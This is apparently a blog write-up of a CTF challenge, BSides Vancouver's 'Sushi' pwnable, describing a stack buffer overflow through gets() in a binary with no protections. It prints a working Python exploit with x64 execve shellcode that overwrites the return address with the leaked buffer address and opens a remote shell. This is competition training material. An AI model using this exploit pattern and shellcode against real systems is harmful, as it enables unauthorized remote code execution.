staring into /dev/null

barrebas

BSides Vancouver CTF - Sushi

At the very last minute, we decided to join BSides Vancouvers’ CTF. Sushi was a 100 point pwnable.

We’re given the binary (and the libraries are available if need be – really nice, no guessing). Upon running it, it gives us some address and asks for money:

1
2
3
Deposit money for sushi here: 0x7ffc068ccfe0
aaaaaaaa
Sorry, $0.97 is not enough.

It seems to take the first character a (0x61 or 97) and use that. After fruitlessly trying to trigger a format string vulnerability, I disassembled the binary and checked out it in gdb-peda.

1
2
3
4
5
6
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : disabled

Okay, no protections whatsoever. This means that the stack is executable too. The idea of string format vulnerability was quickly replaced with a good old buffer overflow:

1
2
3
4
5
6
7
8
9
10
11
12
13
bas@tritonal:~/tmp/yvrctf/sushi-100$ python -c 'print "".join(["%04d" % x for x in range(200)])' | ./sushi
Deposit money for sushi here: 0x7ffd0aa1edb0
Sorry, $0.48 is not enough.
Segmentation fault (core dumped)
bas@tritonal:~/tmp/yvrctf/sushi-100$ gdb ./sushi core
...snip...
Core was generated by `./sushi'.
Program terminated with signal 11, Segmentation fault.
#0  0x00000000004005f2 in ?? ()
gdb-peda$ x/i $rip
=> 0x4005f2:    ret
gdb-peda$ x/2wx $rsp
0x7ffd0aa1edf8:   0x38313030  0x39313030

Upon supplying a large buffer, the program crashes. Apparently, the saved return address is overwritten with 00180019, so now I had the offset. The program crashes upon executing the ret statement at 0x4005f2 because the address does not point to a valid memory location.

1
2
3
4
5
6
7
8
9
10
11
12
13
bas@tritonal:~/tmp/yvrctf/sushi-100$ python -c 'print "A"*(18*4)+"BBBBCCCC"' | ./sushi
Deposit money for sushi here: 0x7ffdcfd360b0
Sorry, $0.65 is not enough.
Segmentation fault (core dumped)
bas@tritonal:~/tmp/yvrctf/sushi-100$ gdb ./sushi core
...snip...
Core was generated by `./sushi'.
Program terminated with signal 11, Segmentation fault.
#0  0x00000000004005f2 in ?? ()
gdb-peda$ x/2wx $rsp
0x7ffdcfd360f8:  0x42424242  0x43434343
gdb-peda$ x/s 0x7ffdcfd360b0
0x7ffdcfd360b0:   'A' <repeats 72 times>, "BBBBCCCC"

What’s more, each time upon running sushi, the program supplies the address of the buffer it is using! In other words, that’s a nice place for shellcode!

The program uses gets() to get the input:

1
0x4005c5:  call  0x400480 <gets@plt>

This means that we can send null bytes, which we need to overwrite the saved return address with the address of our buffer. These things together (and the fact that the vulnerable binary is ran on a remote box) meant that it had to be run from a socat process:

1
$ socat TCP-LISTEN:4000,fork,reuseaddr EXEC:./sushi

Next was writing a simple exploit in python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from socket import *
import struct, telnetlib, re

def p(x):
  return struct.pack('<L', x)

def pQ(x):
  return struct.pack('<Q', x)
  
s=socket(AF_INET, SOCK_STREAM)
#s.connect(('localhost', 4000))
s.connect(('sushi.termsec.net', 4000))

buf = s.recv(1000)
stack_addr = int(re.search('(0x[0-9a-f]+)', buf).group(1), 16)

print "[~] stack addr: 0x%lx" % stack_addr

# simple x64 execve shellcode
shellcode = "\x31\xc0\48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
# payload must overflow saved return address on stack
payload = shellcode + "A" * (72 - len(shellcode))
# we're given the address of our (executable!) buffer on the stack, so use that as return address
payload += pQ(stack_addr) + "\n"

s.send(payload)

t = telnetlib.Telnet()
t.sock = s
t.interact()
s.close()

It ran locally after a bit of fine-tuning, so the proof was in the pudding:

1
2
3
4
5
bas@tritonal:~/tmp/yvrctf/sushi-100$ python ./sushi.py
[~] stack addr: 0x7fffb3fc0480
Sorry, $0.49 is not enough.
cat flag.txt
flag{I_l3ft_my_wallet_in_#irc}

Comments